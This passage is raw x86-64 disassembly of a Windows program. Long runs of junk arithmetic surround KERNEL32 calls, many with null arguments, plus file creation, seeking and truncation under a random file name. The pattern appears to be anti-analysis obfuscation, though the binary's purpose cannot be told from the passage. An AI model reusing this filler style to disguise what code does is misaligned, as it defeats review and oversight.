and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd300], eax
mov rcx, qword [rsp + 0x1a320]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdadc], eax
mov rax, qword [rsp + 0x1a220]
movzx eax, byte [rax]
mov byte [rsp + 0x886], al
movsx eax, word [rsp + 0x2860]
mov rcx, qword [rsp + 0x1a470]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3114], ax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80b]
add eax, ecx
mov byte [rsp + 0x80a], al
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad704], ax
mov eax, dword [rsp + 0xd4b0]
mov dword [rsp + 0xdae0], eax
mov rax, qword [0x1402bf480]
mov rcx, qword [rsp + 0x1a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19ac0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x78a]
movzx ecx, byte [rsp + 0x511]
sub eax, ecx
mov byte [rsp + 0x553], al
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d68]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3838], ax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd9b8]
shl eax, cl
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a448]
mov eax, dword [rax]
mov dword [rsp + 0xdae4], eax
mov rax, qword [rsp + 0x19e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd01c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd444], eax
lea rdx, [rsp + 0xcf24]
mov rcx, qword [rsp + 0x19f80]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xcd9c], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov dword [rsp + 0xdae8], eax
mov rax, qword [rsp + 0x1a820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18e8]
sar eax, cl
mov word [0x1402ad884], ax
movzx eax, byte [0x1402bf488]
movzx ecx, byte [rsp + 0x80d]
xor eax, ecx
mov byte [rsp + 0x3be], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd990], eax
mov rax, qword [rsp + 0x19e88]
mov ecx, dword [rsp + 0xd43c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd0a4], eax
mov rax, qword [rsp + 0x1a0e8]
mov ecx, dword [0x1402ad854]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc1ac], eax
mov rax, qword [rsp + 0x1a078]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x828]
sub eax, ecx
mov byte [rsp + 0x86a], al
movzx eax, word [rsp + 0x3760]
mov word [rsp + 0x3a98], ax
movzx eax, word [rsp + 0x3738]
movzx ecx, word [0x1402ad848]
sub eax, ecx
mov word [rsp + 0x391c], ax
movzx eax, byte [rsp + 0x7b3]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x879], al
mov eax, dword [rsp + 0xc564]
mov dword [rsp + 0xdaec], eax
mov eax, dword [rsp + 0xce60]
mov ecx, dword [rsp + 0xce18]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad79c], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb6e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd87c], eax
lea rax, [rsp + 0xd9a8]
mov qword [rsp + 0x1a9d0], rax
mov rax, qword [rsp + 0x1a6f8]
mov ecx, dword [0x1402ad6fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xda48], eax
movzx eax, word [rsp + 0x252c]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x874], al
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [rsp + 0x1a8d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd208], eax
mov eax, dword [rsp + 0x9bd8]
mov dword [rsp + 0xdaf0], eax
mov rax, qword [rsp + 0x1a6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd924], eax
mov eax, dword [rsp + 0xcd70]
mov dword [0x1402bf464], eax
mov rax, qword [rsp + 0x1a6a8]
movzx eax, byte [rax]
mov byte [rsp + 0x887], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a2c]
shl eax, cl
mov word [rsp + 0x3840], ax
movsx eax, word [rsp + 0x2d38]
movsx ecx, word [rsp + 0x3a60]
sar eax, cl
mov word [rsp + 0x3a98], ax
movsx eax, byte [rsp + 0x17f]
movsx ecx, byte [rsp + 0x7ab]
and eax, ecx
mov byte [rsp + 0x1ba], al
lea rcx, str.TVG2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3a9c], ax
mov rax, qword [rsp + 0x19a90]
mov ecx, dword [rsp + 0xa6d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bc4], eax
mov rax, qword [rsp + 0x1a808]
mov eax, dword [rax]
mov dword [rsp + 0xdaf4], eax
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a638]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7f3], al
mov rax, qword [0x1402bf600]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x381c]
add eax, ecx
mov word [rsp + 0x1e00], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0x1a250]
mov ecx, dword [rsp + 0x9a7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402bf4a8], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov dword [rsp + 0xdaf8], eax
mov rax, qword [0x1402bf5c0]
mov rcx, qword [rsp + 0x19d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf7c], eax
mov eax, dword [rsp + 0xda08]
mov dword [rsp + 0xdafc], eax
mov rax, qword [rsp + 0x1a6b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a840]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x18a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, word [0x1402bf642]
mov rcx, qword [rsp + 0x1a1c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x22f4], ax
mov rax, qword [rsp + 0x1a1e8]
mov ecx, dword [rsp + 0xd824]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce68], eax
mov eax, dword [rsp + 0xb35c]
mov ecx, dword [rsp + 0xd418]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a718]
mov dword [rcx], eax
lea rax, [rsp + 0xd330]
mov qword [rsp + 0x1a9d8], rax
lea rdx, [rsp + 0xdb00]
mov rcx, qword [rsp + 0x19b00]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xcef8], eax
mov rax, qword [rsp + 0x19c60]
mov rcx, qword [rsp + 0x1a630]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad888], eax
mov rax, qword [0x1402bf4b0]
mov ecx, dword [rsp + 0x8068]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd090], eax
movzx eax, word [rsp + 0x37e8]
mov word [rsp + 0x3aa0], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x1a1a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a078]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x828], al
movzx eax, byte [0x1402bf6b8]
movzx ecx, byte [rsp + 0x2b4]
xor eax, ecx
mov byte [rsp + 0x3a1], al
movzx eax, word [rsp + 0x20c0]
mov word [rsp + 0x3aa4], ax
mov eax, dword [rsp + 0xa7a4]
movzx ecx, al
mov eax, dword [rsp + 0xd08c]
shr eax, cl
mov dword [rsp + 0xd25c], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov ecx, dword [0x1402ad77c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaec4], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3960], ax
movzx eax, byte [rsp + 0x662]
mov rcx, qword [rsp + 0x19fa0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acc52], al
mov rax, qword [rsp + 0x1a458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd430]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e18]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1a278]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xdb04], eax
lea rax, [rsp + 0xd7bc]
mov qword [rsp + 0x1a9e0], rax
mov rax, qword [rsp + 0x19b90]
mov rcx, qword [rsp + 0x19e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd280], eax
mov eax, dword [rsp + 0xdaa0]
mov dword [rsp + 0xdb08], eax
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a1f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3940], ax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55a]
sub eax, ecx
mov byte [rsp + 0x85d], al
mov rax, qword [rsp + 0x19fb8]
mov eax, dword [rax]
mov dword [rsp + 0xdb0c], eax
mov eax, dword [rsp + 0xd108]
mov ecx, dword [rsp + 0xd480]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9dc], eax
mov rax, qword [rsp + 0x1a158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x827]
add eax, ecx
mov byte [str._v_ap], al
movsx eax, word [rsp + 0x30d4]
movsx ecx, word [rsp + 0x3760]
shl eax, cl
mov word [rsp + 0x2b00], ax
mov rax, qword [rsp + 0x1a4c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x38e8]
xor eax, ecx
mov word [rsp + 0x2874], ax
mov rcx, qword [rsp + 0x1a3f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xd06c], eax
movzx eax, byte [rsp + 0x9a]
mov byte [rsp + 0x888], al
mov rax, qword [rsp + 0x1a720]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa050]
shr eax, cl
mov dword [rsp + 0xd20c], eax
mov rax, qword [rsp + 0x1a610]
mov ecx, dword [rsp + 0xd958]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd6a8], eax
mov rax, qword [rsp + 0x1a6f0]
mov eax, dword [rax]
mov dword [rsp + 0xdb10], eax
mov eax, dword [rsp + 0xd5fc]
mov ecx, dword [rsp + 0xd158]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd61c], eax
lea rax, [0x1402ad684]
mov qword [rsp + 0x1a9e8], rax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a7c0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3994], ax
movzx eax, byte [rsp + 0x809]
mov rcx, qword [rsp + 0x1a4e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x1402acc53], al
mov rax, qword [0x1402bf4e0]
mov rcx, qword [rsp + 0x19eb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd908], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd210]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x93f4], eax
mov rax, qword [rsp + 0x1a8d8]
mov ecx, dword [0x1402ad730]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xadbc], eax
mov eax, dword [rsp + 0xd110]
mov dword [rsp + 0xdb14], eax
movzx eax, word [rsp + 0x2b68]
movzx ecx, word [rsp + 0x2024]
add eax, ecx
mov rcx, qword [rsp + 0x19ce8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x19a38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xdb18], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x306]
add eax, ecx
mov byte [rsp + 0x785], al
movzx eax, byte [rsp + 0x87d]
mov byte [rsp + 0x889], al
movsx eax, word [rsp + 0x2d38]
movsx ecx, word [rsp + 0x3824]
sub eax, ecx
mov word [rsp + 0x395c], ax
movzx ecx, word [rsp + 0x3718]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x39b8], ax
mov rax, qword [rsp + 0x19e88]
mov rcx, qword [rsp + 0x1a420]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad638], eax
mov eax, dword [rsp + 0x8458]
mov dword [rsp + 0xdb1c], eax
movzx eax, word [rsp + 0x3634]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3858], ax
mov rax, qword [0x1402bf4c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a980]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x7c4], al
mov rax, qword [rsp + 0x1a5c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a4], eax
mov r9d, 1
lea r8, [rsp + 0x197a0]
mov rdx, qword [rsp + 0x1a2d0]
mov rcx, qword [rsp + 0x1a9b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xdb20], eax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xbb44]
shl eax, cl
mov dword [rsp + 0xc264], eax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov dword [rsp + 0xdb24], eax
mov rax, qword [rsp + 0x1a6d8]
mov ecx, dword [rsp + 0xd2c0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd830], eax
lea rax, [rsp + 0x45b]
mov qword [rsp + 0x1a9f0], rax
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x393c]
sar eax, cl
mov word [0x1402ad848], ax
mov rax, qword [rsp + 0x1a5f0]
mov rcx, qword [rsp + 0x1a478]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9358], eax
mov eax, dword [rsp + 0xc224]
mov ecx, dword [rsp + 0xc658]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xda7c], eax
mov rax, qword [rsp + 0x1a498]
mov eax, dword [rax]
mov dword [rsp + 0xdb28], eax
mov rax, qword [rsp + 0x1a6f8]
mov ecx, dword [rsp + 0xbfd4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd054], eax
lea rax, [rsp + 0xd9c8]
mov qword [rsp + 0x1a9f8], rax
movsx eax, word [rsp + 0x3630]
movsx ecx, word [rsp + 0x3114]
add eax, ecx
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x1a958]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a220]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x856], al
mov rax, qword [rsp + 0x1a848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a7b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x25c4], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov byte [0x1402bf462], al
mov eax, dword [rsp + 0xc5f8]
mov ecx, dword [rsp + 0xd1b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd328], eax
mov eax, dword [0x1402ad834]
mov dword [rsp + 0xdb2c], eax
movzx ecx, word [rsp + 0x35d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3718], ax
lea rcx, [rsp + 0x2af78]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x1a930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35a8]
sub eax, ecx
mov word [rsp + 0x38f4], ax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [rsp + 0x7c2]
sub eax, ecx
mov byte [rsp + 0x794], al
mov eax, dword [rsp + 0xb5c8]
mov dword [rsp + 0xdb30], eax
mov rax, qword [rsp + 0x1a5f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8674]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8100], eax
mov rax, qword [rsp + 0x1a928]
mov ecx, dword [rsp + 0xce48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xba14], eax
mov eax, dword [rsp + 0x91bc]
mov ecx, dword [rsp + 0x9da0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfd4], eax
mov rax, qword [rsp + 0x1a900]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a010]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402ad88c], ax
movzx eax, byte [rsp + 0x85e]
mov byte [rsp + 0x88a], al
mov rax, qword [rsp + 0x19ef0]
mov rcx, qword [rsp + 0x1a380]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x81d0], eax
mov rax, qword [rsp + 0x1a008]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd568]
sar eax, cl
mov dword [rsp + 0xd1ac], eax
movzx eax, word [0x1402ad7c8]
mov word [rsp + 0x3aa8], ax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x828], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2204], ax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13f]
add eax, ecx
mov byte [rsp + 0x85a], al
mov rax, qword [rsp + 0x1a968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9118]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbf84], eax
mov rax, qword [0x1402bf750]
mov ecx, dword [rsp + 0xda54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf628]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xdb34], eax
mov eax, dword [rsp + 0xd8d4]
mov dword [rsp + 0xdb38], eax
mov rax, qword [rsp + 0x1a9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd550]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd420], eax
mov eax, dword [rsp + 0x9f6c]
mov dword [rsp + 0xdb3c], eax
movzx eax, word [rsp + 0x3680]
movzx ecx, word [rsp + 0x3878]
add eax, ecx
mov word [rsp + 0x2048], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd904], eax
movzx eax, byte [rsp + 0x784]
mov rcx, qword [rsp + 0x1a5b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x855], al
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xdb40], eax
mov rax, qword [rsp + 0x19f00]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a458]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x19be0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xce8c], eax
mov eax, dword [rsp + 0xd00c]
mov ecx, dword [rsp + 0xd0ac]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xbee8], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd9d0]
or ecx, eax
mov eax, ecx
mov dword [0x1402bf464], eax
mov rax, qword [rsp + 0x1a650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a820]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x3834], ax
mov rax, qword [0x1402bf4c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x883]
shl eax, cl
mov byte [rsp + 0x81b], al
mov rax, qword [rsp + 0x1a5f8]
movzx eax, word [rax]
mov word [rsp + 0x3aac], ax
mov rax, qword [rsp + 0x1a6e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19bb0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7d9], al
lea rax, [0x1402bf6f4]
mov qword [rsp + 0x1aa00], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x1aa08], rax
mov rax, qword [rsp + 0x1a428]
mov ecx, dword [rsp + 0xd858]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd570], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov byte [rsp + 0x88b], al
movzx eax, word [rsp + 0x1ac4]
movzx ecx, word [0x1402bf524]
sub eax, ecx
mov rcx, qword [rsp + 0x1a930]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1f0]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad890], eax
mov rax, qword [rsp + 0x1a990]
mov rcx, qword [rsp + 0x1a328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c10], eax
mov eax, dword [rsp + 0xd960]
mov ecx, dword [0x1402ad6b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c4], eax
mov rax, qword [rsp + 0x19ed0]
mov ecx, dword [rsp + 0x80b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9de4], eax
movzx eax, word [rsp + 0x390c]
mov word [rsp + 0x3ab0], ax
mov rax, qword [rsp + 0x1a188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a2b0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x818], al
mov rax, qword [rsp + 0x1a678]
mov rcx, qword [rsp + 0x19e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf98], eax
mov eax, dword [0x1402bf788]
mov dword [rsp + 0xdb44], eax
movzx ecx, word [rsp + 0x37d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x385c], ax
movzx ecx, word [rsp + 0x3700]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d8], ax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x1a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xda58], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7fe0]
shl eax, cl
mov dword [0x1402bf4d4], eax
mov rax, qword [rsp + 0x1a248]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9204]
sar eax, cl
mov dword [rsp + 0x8fcc], eax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3760]
or eax, ecx
mov word [rsp + 0x2d34], ax
movsx eax, byte [rsp + 0x7f5]
mov rcx, qword [rsp + 0x1a870]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1a078]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.uS7pPTLAZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1aa10], rax
movzx eax, word [rsp + 0x37fc]
mov word [rsp + 0x3ab4], ax
mov rax, qword [rsp + 0x1a558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x824]
and eax, ecx
mov byte [rsp + 0x880], al
mov rax, qword [rsp + 0x1a720]
mov eax, dword [rax]
mov dword [rsp + 0xdb48], eax
lea rdx, [rsp + 0x2c0b0]
mov rcx, qword [rsp + 0x19db0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd6c0], eax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x1a5e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb6fc], eax
mov rcx, qword [rsp + 0x1a110]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdb4c], eax
movzx eax, byte [rsp + 0x829]
movzx ecx, byte [rsp + 0x3be]
add eax, ecx
mov byte [rsp + 0x623], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov word [0x1402bf460], ax
mov eax, dword [rsp + 0xd078]
mov ecx, dword [rsp + 0xd12c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd900], eax
mov eax, dword [rsp + 0x9c0c]
mov ecx, dword [rsp + 0xd5b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd91c], eax
mov rax, qword [rsp + 0x19e78]
mov eax, dword [rax]
mov dword [rsp + 0xdb50], eax
mov rax, qword [rsp + 0x1a9d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfcc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbc38], eax
lea rax, [rsp + 0x875]
mov qword [rsp + 0x1aa18], rax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a0d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3664], ax
mov rax, qword [rsp + 0x19d98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e80]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x1a490]
mov rdx, qword [rsp + 0x19778]
mov rcx, qword [rsp + 0x1a3f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd458], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov dword [rsp + 0xdb54], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x373c]
sub eax, ecx
mov word [0x1402ad6f4], ax
mov rax, qword [rsp + 0x19a98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x812], al
lea rax, [rsp + 0x1f40]
mov qword [rsp + 0x1aa20], rax
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x273]
cdq
idiv ecx
mov byte [rsp + 0x81d], al
mov rax, qword [rsp + 0x1a9d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9354]
shr eax, cl
mov dword [rsp + 0xd188], eax
mov rax, qword [rsp + 0x1a0d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xadd0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d34], eax
mov rax, qword [rsp + 0x1a5e0]
mov ecx, dword [rsp + 0xd53c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd1e4], eax
mov eax, dword [rsp + 0xcf28]
mov dword [rsp + 0xdb58], eax
mov rax, qword [0x1402bf648]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c10]
mov qword [rsp + 0x1aa28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1aa28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19d70]
mov dword [rcx], eax
